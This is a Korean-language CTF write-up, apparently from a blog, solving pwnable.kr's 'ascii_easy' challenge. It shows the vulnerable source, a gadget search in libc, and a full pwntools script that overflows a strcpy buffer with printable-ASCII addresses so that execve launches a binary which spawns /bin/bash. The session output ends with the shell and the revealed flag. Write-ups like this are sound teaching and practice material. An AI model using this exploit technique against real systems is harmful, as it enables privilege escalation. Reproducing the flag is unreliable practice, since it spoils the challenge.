콘텐츠로 건너뛰기

ascii_easy

Description

We often need to make 'printable-ascii-only' exploit payload.  You wanna try?

hint : you don't necessarily have to jump at the beggining of a function. try to land anyware.


ssh [email protected] -p2222 (pw:guest)

Files / checksec

ascii_easy@ubuntu:~$ ls
ascii_easy  ascii_easy.c  flag	intended_solution.txt  libc-2.15.so

ascii_easy@ubuntu:~$ checksec ./ascii_easy
[*] '/home/ascii_easy/ascii_easy'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

Source Code

  • ascii_easy.c
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
    if(c>=0x20 && c<=0x7f) return 1;
    return 0;
}

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

void main(int argc, char* argv[]){

    if(argc!=2){
        printf("usage: ascii_easy [ascii input]\n");
        return;
    }

    size_t len_file;
    struct stat st;
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    if( fstat(fd,&st) < 0){
        printf("open error. tell admin!\n");
        return;
    }

    len_file = st.st_size;
    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
        printf("mmap error!. tell admin\n");
        return;
    }

    int i;
    for(i=0; i<strlen(argv[1]); i++){
        if( !is_ascii(argv[1][i]) ){
            printf("you have non-ascii byte!\n");
            return;
        }
    }

    printf("triggering bug...\n");
    setregid(getegid(), getegid());
    vuln(argv[1]);

}

로컬 libc 파일(/home/ascii_easy/libc-2.15.so)을 지정된 주소 BASE에 따라 0x5555e000RWX 권한으로 mmap한다.

사용자가 입력한 argv[1] 문자열에 비 ASCII 문자가 하나라도 있으면 종료된다.

ASCII 문자만 들어가있다면, vuln 함수를 호출하는데 매개변수로 argv[1]이 들어가 strcpy 함수를 통해 buf로 복사한다.

Analysis

아래 함수에서 버퍼 오버플로우 취약점이 있고, /home/ascii_easy/libc-2.15.so 가젯을 사용할 수 있다.

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

하지만 is_ascii 함수에 의해 아스키 범위 내의 데이터만 들어갈 수 있다.

쉘을 획득하기 위해 call execve 명령어들을 찾아봤을때,

b8967 주소를 사용할 수 있었다. (0xb8967 + 0x5555e000 = 0x55616967)

ascii_easy@ubuntu:~$ objdump -d ./libc-2.15.so  | grep '<execve' > execve.txt
   3edab: e8 30 98 07 00               	calll	0xb85e0 <execve>
000b85e0 <execve>:
   b8616: 77 0b                        	ja	0xb8623 <execve+0x43>
   b8631: eb e5                        	jmp	0xb8618 <execve+0x38>
   b86c4: e8 17 ff ff ff               	calll	0xb85e0 <execve>
   b876a: e8 71 fe ff ff               	calll	0xb85e0 <execve>
   b8802: e8 d9 fd ff ff               	calll	0xb85e0 <execve> 
   b88c9: e8 12 fd ff ff               	calll	0xb85e0 <execve> 
   b8967: e8 74 fc ff ff               	calll	0xb85e0 <execve> // XXX
   b8a32: e8 a9 fb ff ff               	calll	0xb85e0 <execve>
   b8c1b: e8 c0 f9 ff ff               	calll	0xb85e0 <execve>
   b8cda: e8 01 f9 ff ff               	calll	0xb85e0 <execve>
   b8e01: e8 da f7 ff ff               	calll	0xb85e0 <execve>
   b8ea8: e8 33 f7 ff ff               	calll	0xb85e0 <execve>
   d8b77: e8 64 fa fd ff               	calll	0xb85e0 <execve>
   d8eb5: e8 26 f7 fd ff               	calll	0xb85e0 <execve>
   d91ae: e8 2d f4 fd ff               	calll	0xb85e0 <execve>
   da486: e8 55 e1 fd ff               	calll	0xb85e0 <execve>
libc215_base = 0x5555e000

addresses = []

with open("execve.txt", "r") as file:
    for line in file:
        line = line.strip()
        # calll 명령어가 있는 줄에서만 처리
        if 'calll' in line:
            parts = line.split(":")
            if len(parts) > 1:
                addr_str = parts[0].strip()
                addr_int = int(addr_str, 16)
                addr_int = hex(addr_int + libc215_base)
                addresses.append(addr_int)

print(addresses)
seo@seos-macbook ascii_easy % python3 collect_execve.py 
['0x5559cdab', '0x556166c4', '0x5561676a', '0x55616802', '0x556168c9', '0x55616967', '0x55616a32', '0x55616c1b', '0x55616cda', '0x55616e01', '0x55616ea8', '0x55636b77', '0x55636eb5', '0x556371ae', '0x55638486']
   b8967: e8 74 fc ff ff               	calll	0xb85e0 <execve> // XXX

다음으로, execve 함수에서 실행시킬 1번쨰 인자는 마찬가지로 아스키 범위 내에 있는 tag 문자열을 대상으로 진행하였다.

(0x158544 + 0x5555e000 = 0x556b6544)

execve 함수에서 실행시킬 2, 3번째 매개변수는 NULL을 가리키는 0x15686C.

(0x15686c + 0x5555e000 = 0x556b486c)

vuln 함수의 dest 지역변수를 살펴보면, ebp-0x1C에 위치해있기에 0x1c, 28바이트만큼 채우고, vuln’s ebp 덮을 4바이트, 그 다음에 이제 vuln’s RET에 4바이트 덮을 수 있겠다.

char *__cdecl vuln(char *src)
{
  char dest[24]; // [esp+Ch] [ebp-1Ch] BYREF

  return strcpy(dest, src);
}

solve.py

from pwn import *
# context.log_level = 'debug'

libc215_base = 0x5555e000
libc215_call_execve = libc215_base + 0xb8967
libc215_tag = libc215_base + 0x158544
libc215_null = libc215_base + 0x0015686C

payload = b'A'*20
payload += b'B'*4   
payload += b'C'*4   
payload += b'D'*4   #vuln's ebp 

payload = payload + p32(libc215_call_execve) + p32(libc215_tag) + p32(libc215_null) + p32(libc215_null)

arg = ['./ascii_easy', payload]

p = process(executable='./ascii_easy', argv=arg)
# e = ELF('./ascii_easy')

p.interactive()

# gef➤  r ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP
# Starting program: /home/ubuntu/pwnable.kr/ascii_easy/ascii_easy ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP

#     0x8049232 <vuln+0025>      nop    
#     0x8049233 <vuln+0026>      mov    ebx, DWORD PTR [ebp-0x4]
#     0x8049236 <vuln+0029>      leave  
#  →  0x8049237 <vuln+002a>      ret 

# gef➤  info reg ebp
# ebp            0x46454443          0x46454443 //CDEF

# >>> len('ABCDEFGHIJKLMNOPQRSTUVWXYZAB')
# 28

# 28~32 -> ebp
# 32 -> ret

# ascii_easy@ubuntu:/tmp/w4_8$ cat tag.c
# #include <stdio.h>

# int main(void) {
# 	system("/bin/bash");

# 	return 0;
# }

# gcc -o  tag tag.c

# ASCII_armor_is_a_real_pain_to_d3al_with!

Result

ascii_easy@ubuntu:~$ mkdir -p /tmp/w4_ascii
ascii_easy@ubuntu:~$ cd /tmp/w4_ascii
ascii_easy@ubuntu:/tmp/w4_ascii$ ln -sf /home/ascii_easy/ascii_easy .
ascii_easy@ubuntu:/tmp/w4_ascii$ ln -sf /home/ascii_easy/flag .

ascii_easy@ubuntu:/tmp/w4_ascii$ nano solve.py

ascii_easy@ubuntu:/tmp/w4_ascii$ nano tag.c
Unable to create directory /home/ascii_easy/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

ascii_easy@ubuntu:/tmp/w4_ascii$ gcc -o tag tag.c
tag.c: In function ‘main’:
tag.c:4:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
    4 |         system("/bin/bash");
      |         ^~~~~~

ascii_easy@ubuntu:/tmp/w4_ascii$ python3 solve.py
[+] Starting local process './ascii_easy': pid 1358454
[*] Switching to interactive mode
triggering bug...
$ cat flag
ASCII_armor_is_a_real_pain_to_d3al_with!
태그: